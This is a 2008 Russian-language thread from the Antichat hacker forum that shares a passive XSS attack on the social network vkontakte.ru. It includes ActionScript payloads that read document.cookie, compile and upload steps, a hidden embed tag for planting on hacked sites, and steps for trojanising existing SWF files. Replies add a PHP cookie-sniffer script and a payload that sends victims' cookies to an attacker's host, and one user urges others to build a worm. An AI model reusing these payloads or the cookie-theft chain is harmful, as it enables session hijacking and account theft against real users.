Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   vkontakte.ru passive xss (swf) (https://forum.antichat.xyz/showthread.php?t=65360)

+toxa+ 25.03.2008 10:13

vkontakte.ru passive xss (swf)
 
Качаем mtask
Создаём файлик hek.as с содержанием
PHP код:

class hek{
  function 
hek() {
  }

  static function 
main(mc) {
    
getURL("javascript:alert(document.cookie);");
  }


Далее компилим
Код:

mtasc.exe -swf hek.swf -main -header 1:1:1 hek.as
В настройках делаем доступным сервис "Приложения", обзываем его как-нить и заливаем наш скомпиленный hek.swf +)
Смотрим созданное "приложение" и выдираем ссылку на swf
PHP код:

...
<
script type="text/javascript">
//<![CDATA[
var so = new SWFObject('evil_swf_on_vk','player',"1","1",'9');
so.addParam("allowfullscreen","false");
so.addParam("allownetworking""all");
... 

вот собственно и всё) кодес можно любой

Применение:
1) Можно вставить в сорц похэканного сайта кодес
PHP код:

<u style="display:none">
<
embed src="evil_swf_on_vk" width="1" height="1" type="application/x-shockwave-flash"></embed>
</
u

и кинуть ссылку жертве)

2) Можно протроянить уже существующее swf приложение с помощью swfcombine из пака Swftools
Анализируем приложение в которое будем вживлять наш злостный кодес с помощью swfdump
Код:

swfdump.exe hek.swf
компилим с нужными параметрами злобнокодес (а именно меняем флаг -header)
Код:

mtasc.exe -swf hek.swf -main -header x:y:z hek.as
x и y - размеры, z - частота кадров в секунду
и вживляем
Код:

swfcombine.exe -o hek_movie.swf -T hek.swf movie.swf
Демо с алертом

Ссылки по теме:
http://tech.motion-twin.com/zip/mtasc-1.12.zip
http://www.swftools.org/swftools-0.7.0.exe

Rebz 25.03.2008 10:27

Фига Тох :)
+5

podkashey 25.03.2008 10:43

Авторегер есть, спамилка по id есть, теперь и ксс есть. Хуярьте товарищи червя... ;)

_kREveDKo_ 25.03.2008 13:44

Или я непохеккер или оно не работает. Алерты все на ура, но при добавлении конструкций типа:
Код:

javascript:eval(String.fromCharCode(bla-bla-bla))
выплёвывает содержимое bla-bla-bla, где bla-bla-bla - енто закодированная хрень:
Код:

img=new Image(); img.src="http://гаткей_снеффер.gif?"+document.cookie;

Isis 25.03.2008 14:00

Ха....ништяк, молодец

Go0o$E 26.03.2008 01:35

sniffer.php
PHP код:

<?
$ref 
$_SERVER['HTTP_REFERER'];
$infa $_SERVER['REMOTE_ADDR'];
$infa .= " : ";
$infa .= $_GET['s'];
$infa .= "\r\n\r\n";
$f=fopen("log.txt","a+");
fputs($f,$infa);
fclose($f);
Header("Location: http://www.vkontakte.ru"); //.$ref);
?>

attack.swf
PHP код:

getURL("javascript:location.href=\"http://yourhost/sniffer.php?s=\"+document.cookie;"); 


kot777 27.03.2008 01:22

Может я не фтыкнул чет, но...когда вручную заходишь на демку
то куки норм, а если через сайт подставной...т.е. кодом, то приходит
Код:

__utma=52566834.124252957.1203944691.1203944691.1206562305.2;%20__utmz=52566834.1203944691.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none);%20__utmb=52566834;%20__utmc=52566834;%20jcpu=1;%20pcnt=4;%20pcls=1

Macro 27.03.2008 12:05

Все очень просто. Если вы делаете embed то получаете куки своего сайта. А если делать iframe то будут куки vkontakte

kot777 27.03.2008 14:12

Swf у меня не вызывается через ифрейм

Macro 27.03.2008 16:40

гм у меня на опере вызывается


Время: 21:08